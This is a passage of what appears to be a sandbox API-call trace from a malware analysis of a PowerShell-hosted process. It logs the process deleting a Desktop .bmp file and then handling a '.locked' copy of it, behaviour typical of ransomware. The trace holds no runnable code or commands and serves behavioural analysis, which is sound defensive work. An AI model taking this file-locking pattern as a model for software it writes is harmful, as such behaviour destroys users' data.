| out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0128.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0128.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.693] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0128.693] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0128.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0128.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99adf50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.694] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp\\", lpFilePart=0x0) returned 0x37 [0128.694] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp\\*", lpFindFileData=0x99ae170 | out: lpFindFileData=0x99ae170) returned 0xffffffff [0128.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae40c) returned 1 [0128.694] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0128.694] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0128.695] CoTaskMemFree (pv=0x8ebb8c8) [0128.695] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 0x20 [0128.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99adf14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.696] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ade90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae36c) returned 1 [0128.696] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp"), fInfoLevelId=0x0, lpFileInformation=0x695a128 | out: lpFileInformation=0x695a128*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c42b730, ftCreationTime.dwHighDateTime=0x1d4a68e, ftLastAccessTime.dwLowDateTime=0xe13f2c70, ftLastAccessTime.dwHighDateTime=0x1d4a918, ftLastWriteTime.dwLowDateTime=0xe13f2c70, ftLastWriteTime.dwHighDateTime=0x1d4a918, nFileSizeHigh=0x0, nFileSizeLow=0x145d)) returned 1 [0128.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae368) returned 1 [0128.696] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp")) returned 1 [0128.697] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.697] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\xca00\x8df") returned 0x0 [0128.698] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.698] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa1, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.698] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.699] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp.locked")) returned 0x20 [0128.699] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp.locked")) returned 0x20 [0128.699] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", lpFilePart=0x0) returned 0x3d [0128.699] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", lpFilePart=0x0) returned 0x3d [0128.699] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.700] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp", lpFilePart=0x0) returned 0x36 [0128.700] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.700] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.700] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa2, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.700] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.703] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.703] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.703] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.703] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.703] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.705] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.706] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.706] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.706] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.706] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.708] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.709] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.709] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.709] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.709] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.711] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.711] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.711] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.711] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.711] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.713] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0128.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp.locked"), fInfoLevelId=0x0, lpFileInformation=0x6968e68 | out: lpFileInformation=0x6968e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfedcfb9, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0xfedcfb9, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0xfedcfb9, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x1474)) returned 1 [0128.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0128.716] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked", lpFilePart=0x0) returned 0x3d [0128.716] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\qoDVdgfVEP8C1IZVruKR.bmp.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\qodvdgfvep8c1izvrukr.bmp.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0128.716] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0128.716] CloseHandle (hObject=0x874) returned 1 [0128.718] GetConsoleOutputCP () returned 0x1b5 [0128.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.719] GetConsoleOutputCP () returned 0x1b5 [0128.719] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.719] GetConsoleOutputCP () returned 0x1b5 [0128.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.720] GetConsoleOutputCP () returned 0x1b5 [0128.720] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.720] GetConsoleOutputCP () returned 0x1b5 [0128.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.721] GetConsoleOutputCP () returned 0x1b5 [0128.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.721] GetConsoleOutputCP () returned 0x1b5 [0128.721] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.721] GetConsoleOutputCP () returned 0x1b5 [0128.722] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.722] GetConsoleOutputCP () returned 0x1b5 [0128.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.723] GetConsoleOutputCP () returned 0x1b5 [0128.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.723] GetConsoleOutputCP () returned 0x1b5 [0128.723] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.723] GetConsoleOutputCP () returned 0x1b5 [0128.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.724] GetConsoleOutputCP () returned 0x1b5 [0128.724] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0128.724] GetConsoleOutputCP () returned 0x1b5 [0128.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0128.725] GetConsoleOutputCP () returned 0x1b5 [0128.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.725] GetConsoleOutputCP () returned 0x1b5 [0128.725] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0128.726] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0128.726] GetConsoleOutputCP () returned 0x1b5 [0128.726] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0128.726] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.727] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69904c8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x69904c8*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0128.727] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0128.728] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0128.732] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x18, [2]=0x30, 